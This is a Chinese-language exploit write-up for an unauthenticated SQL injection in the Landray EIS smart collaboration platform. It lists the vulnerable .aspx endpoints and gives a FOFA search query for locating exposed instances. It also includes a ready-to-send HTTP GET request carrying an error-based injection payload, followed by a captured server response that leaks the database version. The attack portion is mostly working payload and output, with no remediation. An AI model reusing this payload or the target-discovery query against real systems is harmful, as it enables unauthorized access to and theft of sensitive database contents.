

L1-4蓝凌-EIS智慧协同平台-SQL

漏洞描述:

由于蓝凌EIS智慧协同平台 doc_fileedit_word.aspx、frm_form_list_main.aspx、frm_button_func.aspx、fl_define_flow_chart_show.aspx等接口处未对用户输入的SQL语句进行过滤或验证导致出现SQL注入漏洞，未经身份验证的攻击者可以利用此漏洞获取数据库敏感信息。

影响版本:

- 蓝凌-EIS智慧协同平台

网站图片:



网络测绘:

fofa语法:

FOFA: app="Landray-EIS智慧协同平台"

漏洞复现:

payload:

```
GET /dossier/doc_fileedit_word.aspx?recordid=1'%20and%201=@@version--+&editttype=1,1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
```

效果图:

Request

1 GET /dossier/doc_fileedit_word.aspx?recordid=1'%20and%201=@@version--+&editttype=1,1 HTTP/1.1

2 Host: 192.168.1.81

3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36

4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

5 Accept-Encoding: gzip, deflate

6 Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

7 Connection: close

Responses 5485bytes / 152ms

1 HTTP/1.1 500 Internal Server Error

2 Cache-Control: private

3 Content-Type: text/html; charset=utf-8

4 Server: Microsoft-IIS/7.5

5 X-AspNet-Version: 2.0.50727

6 X-Powered-By: ASP.NET

7 MicrosoftSharePointTeamServices: 14.0.0.6

8 Date: Fri, 12 Jan 2024 09:30:01 GMT

9 Connection: close

10 Content-Length: 5485

11

12 <html>

13 <head>

14 <title>在将 nvarchar 值 'Microsoft Corporation' 转换为数据类型 'int' 期间转换失败。
Jun 14 2012 19:26:05
 Corporation
 Enterprise Editi (Build 7600:)
' 转换成数据类型

15 <style>

16 body {font-family: "Verdana"; font

17 p {font-family: "Verdana"; font-we

18 b {font-family: "Verdana"; font-we

19 H1 {font-family: "Verdana"; font-

20 H2 {font-family: "Verdana"; font-

21 pre {font-family: "Lucida Console

22 .marker {font-weight: bold; colo

23 .version {color: gray;}

24 .error {margin-bottom: 10px;}